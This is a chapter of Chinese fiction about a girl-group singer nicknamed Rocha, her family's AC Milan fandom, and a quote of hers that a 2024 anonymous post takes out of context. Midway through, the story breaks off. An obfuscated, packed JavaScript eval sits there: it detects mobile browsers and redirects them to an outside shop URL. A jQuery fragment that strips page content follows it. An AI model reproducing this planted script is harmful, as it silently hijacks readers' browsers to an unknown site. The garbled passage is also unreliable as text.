随着VesperGirls的发展越来越好，瓦伦蒂娜也开始称得上有钱。
不是一夜变成百万富豪。
但第一次，钱不再只是账单、车油、试镜停车费和母亲藏在抽屉里的信封。
她给父母换了一栋小房子。
不大。
但是有小院子，有独立洗衣房，有一间可以放缝纫机的房间。父亲终于可以在客厅里把球赛声音开大一点，不用担心吵到邻居。母亲第一次有了不必在餐桌上改衣服的地方。
交钥匙那天，瓦伦蒂娜把钥匙放在母亲手心。
“犯罪服装改造工作室。”她说，“正式开业。”
母亲看着那串钥匙，很久没有说话。
父亲先去检查屋顶，又看水管，看厨房窗户，最后站在客厅里说：“真不错。”
几个月后，父母第一次真的把意大利和巴西老家的亲戚们接来洛杉矶。
十几个人。
姑妈、堂兄、表妹、小孩，还有一个坚持说自己只是顺路的远房叔叔。家里挤满意大利语、葡语、英语和小孩在后院奔跑的声音。母亲做了太多吃的，父亲穿着米兰球衣，骄傲得连番茄酱都做多了一大锅。
亲戚们轮流和电视上的Rocha合照。
一个小表妹指着MV里的她说：“你在电视上比真人凶。”
瓦伦蒂娜蹲下来问：“真人呢？”
小表妹认真说：“真人比较像会给我糖的漂亮姐姐。”
瓦伦蒂娜从口袋里摸出一颗糖。
“你很有判断力。”
那天晚上，父亲在客厅开了米兰比赛录像。
亲戚们挤在沙发、地毯和楼梯上。瓦伦蒂娜本来要上楼卸妆，走到一半，被父亲叫住。
“Vieniqui,Tina.Lookathim.”
过来，Tina。看他。
她坐在楼梯上，手里还拿着卸妆棉。
屏幕里，圣西罗像一片会呼吸的红黑色海洋。
年轻的巴西人穿着米兰球衣往前跑。
那时的里卡多就是真正的米兰王子。
不是红毯上的王子。
是草坪上的，阳光里的，奔跑起来让看着他的人嘴角上扬，同时自己也很快乐的王子。他太好看了，好看到瓦伦蒂娜第一反应不是心动，而是觉得这不太公平。
他被全场喊，被镜头追，被后卫拽住，仍然笑容不改。
笑得那么干净。
笑得像世界还没有来得及把他的天赋变成重量，压上他的肩膀。
父亲说：“HeplayslikeGodgavehimtheafternoonoff.”
他说他踢球像上帝放了他半天假。
瓦伦蒂娜没完全听懂。
但她看懂了那个笑。
她那时已经知道被看见是什么感觉。
被粉丝们尖叫，被镜头寻找，被公司定价，被市场选择。她知道被看见可以很甜，也可以很贵，还可以很累。
可电视里的那个年轻人，被整个球场看着，却像只是单纯喜欢自己正在做的事。
那一刻，她怀疑，又恍然，原来被全世界看见，也可以这么纯粹。
第二张专辑筹备时，Rocha的位置已经不再需要每次重试。
MV脚本第一页写着：
`Rochacenterforhook.`
副歌中心，Rocha。
她的唱段变多了。
不只是副歌第二句，还有bridge前的一小段solo，和一段五人轮唱里最容易被剪出来的部分。
造型部门会先问她：
宽皮带要不要保留？
唇蜜要不要做联名色？
低腰牛仔能不能换成白色短裙？
她开始问问题。
“为什么我总是粉色？”
“为什么MV剧情一定要围绕一个男生发展？”
“为什么高音不能放在副歌之后，而是第一段就给掉？”
制作人有时会说她想太多。
她就笑。
“我只是希望对赚钱有更多参与感。”
那时候她比走廊里等待试镜的女孩更自信了。
以前她进一个房间，总是希望别人喜欢她。
现在她进一个陌生的房间，已经知道，他们大概率会记住她，也无法忽视她。
她仍然甜，仍然闪亮，仍然会在Denise数拍时故意敬礼，在Jade紧张时分她半块糖，在Summer不高兴时把镜子递给她，在Lacey嫌歌蠢时说：“有了你，我们才能把它唱上公告牌。”
但她也开始知道：Rocha不再只是他们给她的名字。
Rocha是她一点点唱出来、跳出来、笑出来、熬夜巡演换来的名字。
而到了2024年，匿名长帖把这些写成另一种故事。
Mia读到帖主的断章取义，气得把平板翻过去。
“我真的想骂人。”
Denise看着屏幕里的旧照片，没有立刻说话。
瓦伦蒂娜倒是笑了一下。
“他们说得好像包装是罪。”
凯特看向她。
瓦伦蒂娜把平板转回来，看着那个十五岁的自己。
商场灯光下的Rocha，笑得像一颗明亮的小炸弹。
“可我们曾经确实称得上成功。”她说，“我们有Hot100前十，有白金单曲，有格莱美提名。”
她停了一下。
“是谁规定，女孩们尖叫过的东西都不算严肃呢？他们的贬低，难道就能抹掉我们曾经的影响力和奖项么？”
房间里安静下来。
那句话落得很轻，却像把很多年前的过往都翻了回来。
屏幕上，匿名帖还在往下更新。
新一段标题跳出来。
`BeforetheBallond'Or,ThereWasBeckham:RochaAlwaysKnewWhatKindofManSold.`
在金球先生之前，还有贝克汉姆：Rocha一直知道什么样的男人最值钱。
下面附着一段旧采访截图。
十五岁的Rocha坐在粉色沙发上，腿上放着抱枕，深棕色的发像香醇的巧克力，金绿色的眼睛闪着愉悦的光，笑容甜的像蜜糖。她坐在五个女孩中间，脸绝对的小，但五官清晰得像与其他人处在不同年代的照片，让人没法不把视线集中到她完美的五官上。那时候她的脸上甚至还有着讨喜的婴儿肥。
她笑着说了一句：
“MaybeIwantmyownBeckham.”
也许我想要自己的贝克汉姆。
Denise低低骂了一句。
瓦伦蒂娜看着那段视频，停在屏幕边缘的手指微微一缩。
她没有立刻说话。
她想起父亲的米兰球衣，想起洛杉矶新房子里挤满的意大利亲戚，想起楼梯上那一片红黑色的电视光。
想起那个跑起来像太阳照着他的年轻人。
想起那时候的自己，还不知道有一天，“想要一个Beckham”的笑言会被写成她一生都在寻找男人做自己台阶的证据。
她忽然笑了一下。
“他们终于剪到这句了。”
凯特问：“前面是什么？”
瓦伦蒂娜抬起眼。
“前面当然是他们每次都会剪掉的东西。”
视频到这里结束。
这一套组合拳行云流水。
顺得像她从少女时代开始，就已经坐在那里，等着一个世界级男人给她的名字镀金。
Mia看得火气上来：“这剪辑真不要脸。”
Denise坐在沙发扶手上，脸色很冷。
“他们还算客气。”她说，“没把你那期节目里夸主持人睫毛的片段也剪进去，说你从小就知道讨好镜头。”
瓦伦蒂娜笑了一下。
“我确实夸了她。”
Mia震惊：“这是重点吗？”
“重点是她那天睫毛真的很好看。”瓦伦蒂娜的轻松有时让Mia想要昏倒。她甚至wink了一下，“我一直很有品味。”
凯特看向她：“那么完整版本是什么？”
瓦伦蒂娜低头看着屏幕。
视频里的女孩太年轻了。
年轻到脸上的野心都没有学会藏好。她坐在那里，腰背挺得很直，腿上抱着粉色抱枕，像抱着一面盾牌。她笑得很甜，人也很忙。忙着可爱，忙着有趣，忙着迅速给反应，忙着让主持人喜欢她，忙着让镜头别转走。
“完整版本是，”瓦伦蒂娜说，“她问我，除了唱歌和表演，我想成为什么样的明星。”
那期采访发生在VesperGirls首专进榜以后。
节目组把休息室布置成粉色少女卧室，墙上贴着她们的海报，桌上摆满联名唇蜜、贴纸和一堆根本没人会吃的纸杯蛋糕。
主持人是个看不出多少岁的女人，大约肉毒素居功至伟。睫毛确实非常好看，她笑起来像能把所有问题包在糖霜里再递出来。
她先问Summer想要什么。
Summer说：
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17671496|206099||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“世界巡演。”
Jade说：“自己的香水。”
Lacey说：“写我自己的歌，最好不是每一句都关于周五的女孩夜之类的。”
Denise说：“一间舞蹈工作室。”
所有人都笑。
轮到Rocha时，主持人看着她继续问：“那我们的Rocha？”—然而后来，这句话被和后面问Summer的“你喜欢什么样的男孩？”剪辑到了一起。
瓦伦蒂娜低头看了看抱枕上的logo。
那时她已经不是走廊里等试镜的女孩了。她已经拥有了很多，可她仍然不知道这一切够不够，她只是有一种直觉：
她总觉得，这世界的规则太多了。
一个让你唱副歌，一个让你穿低腰裤，一个让你笑，一个让你别说葡语，一个说你很好卖，一个又说你只是包装。
她必须要拥有一些更大的东西。
大到不用每次进门都重新解释自己是谁。
“我想成为那种，”她说，“不用别人介绍，大家也知道我是谁的人。”
主持人笑得更开：“像谁？Britney？Beyoncé？”
瓦伦蒂娜想了想。
这两个名字当然很好。
太好了。
好到她说出来会像每一个teenpopsinger都该给出的答案。
但她脑子里先出现的不是舞台。
是客厅。
是父亲穿着米兰球衣，在新房子里第一次把电视声音开得很大。是老家的亲戚坐满沙发、地毯和楼梯。是小孩在后院跑来跑去，母亲在厨房里喊人别再偷吃番茄酱。
是电视里，那个年轻的巴西人穿着红黑球衣向前奔跑。
那时她不太懂足球。
只记得圣西罗的灯光很亮，看台像一片红黑色的海。
Ricardo那时候还更像王子。
阳光，漂亮，轻盈，跑起来像草坪也偏爱他。全场都在看他，镜头也追着他，可他笑得很干净，像还不知道自己会被世界定价到多么昂贵。
她看着那个笑。
那不是她为了舞台或者红毯练出来的笑。
那是一种她还没有学会的东西。
被全世界看见，拥有与生俱来的热忱。
被全世界追着，只是因为热爱，所以不断奔跑、不断追逐，即使无数次摔倒也不停歇一秒。
后来，她又看到那个英国的Victoria。
不是只在八卦杂志里。
是电视报道里，是红毯照片里，是时装专栏里。她站在世界级球星旁边，但没有消失。她有自己的脸，自己的衣服，自己的照片，自己的品牌，自己的冷淡姿态。
主持人还在等她回答。
瓦伦蒂娜抬头，说：“MaybeVictoria.”
主持人笑意更深：“VictoriaBeckham?所以你想要自己的Beckham？”
瓦伦蒂娜低头看了看怀里的粉色抱枕。
抱枕上印着VesperGirls的新logo，粉得很用力，像节目组生怕电视机前的女孩们不知道这是一场少女访谈。
她本来可以说不。
但主持人的眼睛已经亮起来了。
十五岁的Rocha当然看得懂这种眼神。那是“这句可以当标题”的眼神。
于是她没否认，而是抱紧抱枕，笑了一下。
“MaybeIwantmyownBeckham.”
主持人立刻笑出声。
“哇哦。”
“但不是因为他是Beckham。”瓦伦蒂娜补了一句，“是因为Victoria站在他旁边，也还是Victoria。”
主持人眨了眨眼。
这句后来没有被剪进去。
她说那句话的时候，想要的不是一个男人替她开门。
她想要的是——如果有一天，她也站在一个世界级的人旁边，她不会变小。她想要的不是被谁认领，而是两个人站在一起时，世界真的会更大。
2024年的山上客厅里，Mia听完，沉默了两秒。
“他们一个字都没放。”
“放了就不好骂了。”Denise说。
凯特已经把完整采访记下来：“这段可以以后用，但现在不急。”
卢卡斯在视频里点头：“让他们先把‘靠男人’这条线写完。我有预感这不是终结。”
瓦伦蒂娜没理他，她看着屏幕上的旧采访，忽然笑了一下。
“那时候我还没见过里卡多本人。”